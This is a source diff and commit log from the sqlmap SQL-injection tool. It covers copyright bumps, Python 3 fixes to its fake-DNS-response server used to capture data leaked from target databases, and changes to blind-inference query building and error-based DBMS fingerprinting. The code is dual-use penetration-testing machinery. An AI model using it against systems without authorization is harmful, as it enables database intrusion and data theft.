+        except SystemError:  # https://bugs.python.org/issue18183
+            self._lower_page = None
        self._urldecoded_page = urldecode(self._page)

        self.dbms = None
@@ -49,14 +52,21 @@ class HTMLHandler(ContentHandler):
                keywords = sorted(keywords, key=len)
                kb.cache.regex[regexp] = keywords[-1].lower()

-            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
+            if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I):
                self.dbms = self._dbms
                self._markAsErrorPage()
+                kb.forkNote = kb.forkNote or attrs.get("fork")

 def htmlParser(page):
    """
    This function calls a class that parses the input HTML page to
    fingerprint the back-end database management system
+
+    >>> from lib.core.enums import DBMS
+    >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
+    True
+    >>> threadData = getCurrentThreadData()
+    >>> threadData.lastErrorPage = None
    """

    xmlfile = paths.ERRORS_XML
--- a/lib/parse/payloads.py
+++ b/lib/parse/payloads.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/parse/sitemap.py
+++ b/lib/parse/sitemap.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/init.py
+++ b/lib/request/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/basic.py
+++ b/lib/request/basic.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/basicauthhandler.py
+++ b/lib/request/basicauthhandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/chunkedhandler.py
+++ b/lib/request/chunkedhandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/connect.py
+++ b/lib/request/connect.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1054,11 +1054,11 @@ class Connect(object):

                match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
                if match:
-                    retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
+                    retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
                else:
                    match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
                    if match:
-                        retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
+                        retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)

                return retVal

--- a/lib/request/direct.py
+++ b/lib/request/direct.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/dns.py
+++ b/lib/request/dns.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -11,10 +11,58 @@ import binascii
 import os
 import re
 import socket
+import struct
 import threading
 import time

 class DNSQuery(object):
+    """
+    >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
+    True
+    >>> DNSQuery(b'\\x00')._query == b""
+    True
+    """
+
+    def __init__(self, raw):
+        self._raw = raw
+        self._query = b""
+
+        try:
+            type_ = (ord(raw[2:3]) >> 3) & 15                   # Opcode bits
+
+            if type_ == 0:                                      # Standard query
+                i = 12
+                j = ord(raw[i:i + 1])
+
+                while j != 0:
+                    self._query += raw[i + 1:i + j + 1] + b'.'
+                    i = i + j + 1
+                    j = ord(raw[i:i + 1])
+        except TypeError:
+            pass
+
+    def response(self, resolution):
+        """
+        Crafts raw DNS resolution response packet
+        """
+
+        retVal = b""
+
+        if self._query:
+            retVal += self._raw[:2]                                                     # Transaction ID
+            retVal += b"\x85\x80"                                                       # Flags (Standard query response, No error)
+            retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00"             # Questions and Answers Counts
+            retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)]             # Original Domain Name Query
+            retVal += b"\xc0\x0c"                                                       # Pointer to domain name
+            retVal += b"\x00\x01"                                                       # Type A
+            retVal += b"\x00\x01"                                                       # Class IN
+            retVal += b"\x00\x00\x00\x20"                                               # TTL (32 seconds)
+            retVal += b"\x00\x04"                                                       # Data length
+            retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
+
+        return retVal
+
+class DNSServer(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request
@@ -24,43 +72,6 @@ class DNSQuery(object):
        https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
    """

-    def __init__(self, raw):
-        self._raw = raw
-        self._query = ""
-
-        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits
-
-        if type_ == 0:                                  # Standard query
-            i = 12
-            j = ord(raw[i])
-
-            while j != 0:
-                self._query += raw[i + 1:i + j + 1] + '.'
-                i = i + j + 1
-                j = ord(raw[i])
-
-    def response(self, resolution):
-        """
-        Crafts raw DNS resolution response packet
-        """
-
-        retVal = ""
-
-        if self._query:
-            retVal += self._raw[:2]                                             # Transaction ID
-            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
-            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
-            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
-            retVal += "\xc0\x0c"                                                # Pointer to domain name
-            retVal += "\x00\x01"                                                # Type A
-            retVal += "\x00\x01"                                                # Class IN
-            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
-            retVal += "\x00\x04"                                                # Data length
-            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP
-
-        return retVal
-
-class DNSServer(object):
    def __init__(self):
        self._check_localhost()
        self._requests = []
@@ -95,9 +106,15 @@ class DNSServer(object):

        retVal = None

+        if prefix and hasattr(prefix, "encode"):
+            prefix = prefix.encode()
+
+        if suffix and hasattr(suffix, "encode"):
+            suffix = suffix.encode()
+
        with self._lock:
            for _ in self._requests:
-                if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
+                if prefix is None and suffix is None or re.search(b"%s\..+\.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)
                    break
@@ -148,7 +165,7 @@ if __name__ == "__main__":
                if _ is None:
                    break
                else:
-                    print("[i] %s" % _)
+                    print("[i] %s" % _.decode())

            time.sleep(1)

--- a/lib/request/httpshandler.py
+++ b/lib/request/httpshandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
        if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):

            if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
-                expression = "SELECT %s FROM (%s)" % (field, expression)
-
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
-                    expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA):
+                    alias = randomStr(lowercase=True, seed=hash(expression))
+                    expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression)  # Note: MonetDB as a prime example
+                    expression += " AS %s" % alias
+                else:
+                    expression = "SELECT %s FROM (%s)" % (field, expression)

            if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
                nulledCastedField = agent.nullAndCastField(field)
@@ -494,7 +496,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
    if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
        warnMsg = "in case of continuous data retrieval problems you are advised to try "
        warnMsg += "a switch '--no-cast' "
-        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
+        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL) else ""
        singleTimeWarnMessage(warnMsg)

    # Dirty patch (safe-encoded unicode characters)
--- a/lib/request/methodrequest.py
+++ b/lib/request/methodrequest.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/pkihandler.py
+++ b/lib/request/pkihandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/rangehandler.py
+++ b/lib/request/rangehandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/request/redirecthandler.py
+++ b/lib/request/redirecthandler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -10,6 +10,7 @@ import time
 import types

 from lib.core.common import getHostHeader
+from lib.core.common import getSafeExString
 from lib.core.common import logHTTPTraffic
 from lib.core.common import readInput
 from lib.core.convert import getUnicode
@@ -139,6 +140,14 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
            except _urllib.error.HTTPError as ex:
                result = ex

+                # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046
+                try:
+                    hasattr(result, "read")
+                except KeyError:
+                    class _(object):
+                        pass
+                    result = _()
+
                # Dirty hack for http://bugs.python.org/issue15701
                try:
                    result.info()
@@ -149,7 +158,12 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):

                if not hasattr(result, "read"):
                    def _(self, length=None):
-                        return ex.msg
+                        try:
+                            retVal = getSafeExString(ex)
+                        except:
+                            retVal = ""
+                        finally:
+                            return retVal
                    result.read = types.MethodType(_, result)

                if not getattr(result, "url", None):
@@ -160,7 +174,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
            except:
                redurl = None
                result = fp
-                fp.read = io.BytesIO("").read
+                fp.read = io.BytesIO(b"").read
        else:
            result = fp

--- a/lib/request/templates.py
+++ b/lib/request/templates.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/takeover/init.py
+++ b/lib/takeover/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/takeover/abstraction.py
+++ b/lib/takeover/abstraction.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
Miroslav Stampar	2fc4d17cbc	Update regarding #4099	2020-02-01 14:36:27 +01:00
elias	93aa981e4f	Add link of persian (#4099 ) * Add the persian translations * Update README-fa-FA.md * Update README-fa-FA.md * Update README-fa-FA.md * Update README-fa-FA.md * add to persian translations HI please add to persian translations regard: elias rohani * Add link of persian * Revert "Add link of persian" * Revert "Add link of persian"	2020-02-01 14:28:16 +01:00
Miroslav Stampar	a4cb6dbb00	Fixes #4093	2020-01-31 22:37:39 +01:00
Miroslav Stampar	4e3af35ceb	Fixes #4096	2020-01-31 21:51:02 +01:00
Miroslav Stampar	5d7b7d6bca	Couple of patches	2020-01-31 21:24:20 +01:00
Miroslav Stampar	8ab4f6214f	Adding recognition of Greenplum (pgsql fork)	2020-01-31 13:01:15 +01:00
Miroslav Stampar	8d343fc2a6	Adding support for Amazon Redshift (pgsql fork)	2020-01-31 11:39:16 +01:00
Miroslav Stampar	421f1878e3	Adding support for MimerSQL	2020-01-31 11:33:31 +01:00
Miroslav Stampar	f21388d550	Minor optimization	2020-01-28 10:01:21 +01:00
Miroslav Stampar	f38a2c2028	Minor refactoring	2020-01-28 09:42:00 +01:00
Miroslav Stampar	22bf77161a	Trivial update	2020-01-28 00:00:06 +01:00
Miroslav Stampar	186b3920e7	Adding support for Percona (MySQL) fork	2020-01-27 23:47:47 +01:00
Miroslav Stampar	d227413a14	Adding support for Altibase	2020-01-27 17:32:31 +01:00
Miroslav Stampar	70df6d8b22	Minor update	2020-01-27 12:20:29 +01:00
Miroslav Stampar	6d05985aef	Older Python versions have problems with chunking	2020-01-27 12:09:14 +01:00
Miroslav Stampar	8c57b9cd4c	Fixes Python3 support for --chunked (drei)	2020-01-27 11:32:05 +01:00
Miroslav Stampar	4cf14c80eb	Fixes #4086	2020-01-27 01:07:15 +01:00
Miroslav Stampar	615ac3b733	Minor optimizations	2020-01-25 23:37:57 +01:00
Miroslav Stampar	b2d6ab2949	Minor update	2020-01-25 17:15:11 +01:00
Miroslav Stampar	39be0f30d8	Adding recognition of Azure	2020-01-25 16:49:32 +01:00
Miroslav Stampar	6f54be987f	Minor modification	2020-01-25 16:33:48 +01:00
Miroslav Stampar	35fa710eed	Fixes #4084	2020-01-24 12:38:25 +01:00
Miroslav Stampar	f2518f7112	Trivial update	2020-01-23 23:36:28 +01:00
Miroslav Stampar	3779531540	Adding support for TiDB	2020-01-23 23:27:33 +01:00
Miroslav Stampar	447e5ec0ea	Trivial patch	2020-01-23 22:18:53 +01:00
Miroslav Stampar	d5fab1907d	Adding support for Presto	2020-01-23 16:59:02 +01:00
Miroslav Stampar	ec4880e0e1	Fixes #4083 (drei)	2020-01-23 13:30:20 +01:00
Miroslav Stampar	984808cc26	Fixes #4081	2020-01-23 11:55:41 +01:00
Miroslav Stampar	6b1f4965ed	Fixes #4082	2020-01-23 11:46:17 +01:00
Miroslav Stampar	e8be9e4af4	Better patch (related to previous one)	2020-01-23 10:57:35 +01:00
Miroslav Stampar	5b1574614d	Minor patch	2020-01-23 10:53:06 +01:00
Miroslav Stampar	2c19d16830	Patch for Python 2.6 compatibility	2020-01-23 04:02:07 +01:00
Miroslav Stampar	60b642e2bd	Adding support for Mckoi	2020-01-22 23:41:06 +01:00
Miroslav Stampar	20700fd6b9	Adding support for CockroachDB (Postgres fork)	2020-01-21 23:19:11 +01:00
Miroslav Stampar	4be7c7dcee	Trivial patch	2020-01-21 22:29:26 +01:00
Miroslav Stampar	5ab2dfd0d9	Adding support for Vertica	2020-01-21 15:40:59 +01:00
Miroslav Stampar	f0f1cf1b21	Minor patch	2020-01-21 11:18:34 +01:00
Miroslav Stampar	b25181f061	Adding support for MemSQL (MySQL fork)	2020-01-20 23:11:37 +01:00
Miroslav Stampar	9f85412017	Fixes #4080	2020-01-20 16:11:12 +01:00
Miroslav Stampar	4c804a3fd6	Adding support for Apache Derby	2020-01-20 15:33:45 +01:00
Miroslav Stampar	d7a56017bf	Trivial update	2020-01-18 07:54:03 +01:00
Miroslav Stampar	ef59a365f4	Fix for broken build	2020-01-17 17:22:50 +01:00
Miroslav Stampar	1087396d88	Adding support for MonetDB	2020-01-17 17:14:41 +01:00
Miroslav Stampar	1cfe370276	More refactoring for #4077	2020-01-15 22:47:06 +01:00
Miroslav Stampar	3776f2eeea	Minor refactoring for #4077	2020-01-15 22:38:34 +01:00
Tomas Zellerin	a6c26fe792	Python 3 binary-character fixes for two urllib requests (#4077 ) * Fix python3 binary - character mismatch in api.py Convert between text and binary data in api.py call to urllib.request and response from it. In python3 sqlmapapi -c it fixes, at least - not nice output from log/list commands - any command that POSTs data (including new) crashing sqlmapapi * Fix python3 binary - character mismatch in search.py Before: python3 sqlmap.py -g <long random string> (...) [18:35:17] [INFO] using search result page #1 no usable links found. What do you want to do? [1] (re)try with DuckDuckGo (default) [2] (re)try with Bing [3] quit > 1 [18:35:21] [CRITICAL] unable to connect After: python3 sqlmap.py -g asfafw2fwesvzsdvaw (...) [18:37:30] [INFO] using search result page #1 no usable links found. What do you want to do? [1] (re)try with DuckDuckGo (default) [2] (re)try with Bing [3] quit > 1 [18:37:34] [INFO] found 26 results for your search dork expression, 16 of them are testable targets [18:37:34] [INFO] found a total of 16 targets URL 1: GET https:... do you want to test this URL? [Y/n/q]	2020-01-15 22:36:49 +01:00
Miroslav Stampar	c082067902	Removing some dead code (vulture)	2020-01-10 11:44:24 +01:00
Miroslav Stampar	e37c22793b	Patch related to #4070	2020-01-10 11:09:20 +01:00
Miroslav Stampar	14005f476d	Minor bug fix	2020-01-09 13:19:54 +01:00
Miroslav Stampar	eb3a3b4825	Patch regarding #4066	2020-01-09 11:59:50 +01:00
Miroslav Stampar	71b33e5956	Minor patch	2020-01-09 11:36:19 +01:00
Miroslav Stampar	ab203c1ec5	Couple of fixes (--check-internet) and updates	2020-01-09 11:25:09 +01:00
Miroslav Stampar	e7dd7e2d48	Trivial refactoring	2020-01-08 10:53:08 +01:00
Miroslav Stampar	89aff21fb6	Minor patch	2020-01-08 10:43:11 +01:00
Miroslav Stampar	c95c370254	Couple of patches	2020-01-08 10:37:59 +01:00
Miroslav Stampar	239e4d7927	Minor patch	2020-01-08 00:11:13 +01:00
Miroslav Stampar	dbebb34bc8	Trivial patch	2020-01-08 00:01:15 +01:00
Miroslav Stampar	0e9dd9b0be	Some testing stuff	2020-01-07 23:49:45 +01:00
Miroslav Stampar	57f17794c4	Adding support for all_proxy (#91 )	2020-01-07 21:08:18 +01:00
Miroslav Stampar	7a0a4c28e5	Minor update	2020-01-07 11:48:02 +01:00
Miroslav Stampar	0ea39098bd	Fixes #4063	2020-01-07 09:31:54 +01:00
Miroslav Stampar	49afd47c13	Trivial update (year bump)	2020-01-05 22:56:10 +01:00
Miroslav Stampar	dc9e2df3c6	Minor update	2020-01-05 22:51:31 +01:00
Miroslav Stampar	3a048a9e67	Trivial cleanup	2020-01-05 22:46:16 +01:00
Miroslav Stampar	6b45199766	Removing obsolete code	2020-01-05 22:43:25 +01:00
Miroslav Stampar	bb51c0e41e	Minor update	2020-01-03 14:03:01 +01:00
Miroslav Stampar	5d62195a41	Minor update of testing	2020-01-03 13:46:12 +01:00
Miroslav Stampar	8ace3363bd	Trivial update	2020-01-01 14:04:01 +01:00
Miroslav Stampar	4606d5afd5	Copyright year bump	2020-01-01 14:02:52 +01:00
Miroslav Stampar	e9ec443a8a	First dummy 2020 commit	2020-01-01 13:30:20 +01:00
Miroslav Stampar	4efd745b5c	Copyright year bump	2020-01-01 13:25:15 +01:00
Miroslav Stampar	4833e40824	Version bump	2020-01-01 13:22:06 +01:00
Miroslav Stampar	e0ecf8c804	Fixes #4056	2019-12-31 11:03:14 +01:00
Miroslav Stampar	cf7022b0a0	Minor patch (empty input without newline)	2019-12-27 18:18:32 +01:00
Miroslav Stampar	4c5cb9e0d4	Subtle (sneaky) bug removed (related to #4051 ) - False or '' results with ''	2019-12-27 15:37:02 +01:00
Miroslav Stampar	bcb9482724	Fixes #4048	2019-12-27 15:20:09 +01:00
Miroslav Stampar	70e6700eb7	Fixes #4053	2019-12-27 14:38:22 +01:00
Miroslav Stampar	884ee56730	Fixes #4050	2019-12-23 12:14:40 +01:00
Miroslav Stampar	9ca5dc798e	Fixes #4047	2019-12-19 17:35:39 +01:00
Miroslav Stampar	c96283a083	Minor patch	2019-12-18 12:29:07 +01:00
Miroslav Stampar	b4f9bf3f21	I don't know how this went through	2019-12-18 11:30:13 +01:00
Miroslav Stampar	d52d5f0ddc	Fixes #4046	2019-12-18 11:04:01 +01:00
Miroslav Stampar	d38acbe347	Fixing lost versioning	2019-12-18 10:19:03 +01:00
Miroslav Stampar	7dae324ed6	Trivial update	2019-12-15 16:33:03 +01:00
Ryan Young	24aadbd850	Support IPv6 literals ("[::1]:8080") in the proxy switch. (#4041 )	2019-12-15 16:06:26 +01:00
tanaydin sirin	3145de15d8	Update common-columns.txt (#4039 ) Some more common Turkish column names.	2019-12-13 17:29:12 +01:00
Miroslav Stampar	6e06df3d39	Minor bug fix	2019-12-12 14:10:02 +01:00
Miroslav Stampar	f01610b397	Minor update	2019-12-12 11:51:26 +01:00
Miroslav Stampar	a5ed4c5255	Minor update	2019-12-12 11:42:14 +01:00
Gabriel M. Dutra	9866e478b9	Change vocabulary for better understanding. (#4034 )	2019-12-10 15:26:57 +01:00
Miroslav Stampar	251c8ba064	Minor update	2019-12-10 13:54:29 +01:00
Miroslav Stampar	1a95cea1f2	Trivial updates	2019-12-09 22:13:52 +01:00
Gabriel M. Dutra	38d5086b88	Added implicit verification (#4032 )	2019-12-09 21:49:11 +01:00
Miroslav Stampar	7b5a640d1f	Minor update	2019-12-09 11:35:22 +01:00
Miroslav Stampar	e853508192	Update for #4030	2019-12-09 11:31:07 +01:00
Miroslav Stampar	5d32ca638b	Minor update	2019-12-06 16:11:22 +01:00
Miroslav Stampar	0c8f6156d2	Trivial update	2019-12-06 16:03:51 +01:00
Miroslav Stampar	292bdf4479	Fixes #4028	2019-12-06 16:02:25 +01:00
Miroslav Stampar	82e6bc64c2	Fixes #4026	2019-12-06 15:20:09 +01:00
Miroslav Stampar	ea0ec868e9	Fixes #4029	2019-12-06 15:15:39 +01:00
Miroslav Stampar	424d4ee968	Minor compatibility update	2019-12-05 22:45:57 +01:00
Miroslav Stampar	f4bfa7a5ae	Minor patch	2019-12-05 22:20:00 +01:00
Miroslav Stampar	568ee4669e	Minor patch (gui)	2019-12-05 13:56:46 +01:00
Miroslav Stampar	c3a6b71023	Fixes #4025	2019-12-05 13:50:16 +01:00
Miroslav Stampar	f7a237fdee	Adding basic functionality to a hidden feature	2019-12-03 23:30:28 +01:00